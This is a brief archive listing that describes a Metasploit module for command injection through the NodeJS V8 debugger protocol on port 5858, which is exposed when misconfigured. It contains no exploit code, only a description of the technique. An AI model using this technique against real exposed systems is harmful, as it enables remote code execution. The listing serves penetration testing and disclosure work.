NodeJS Debugger Command Injection

NodeJS Debugger Command Injection
Posted Sep 26, 2017
Authored by Patrick Thomas | Site metasploit.com

This Metasploit module uses the "evaluate" request type of the NodeJS V8 debugger protocol (version 1) to evaluate arbitrary JS and call out to other system commands. The port (default 5858) is not exposed non-locally in default configurations, but may be exposed either intentionally or via misconfiguration.
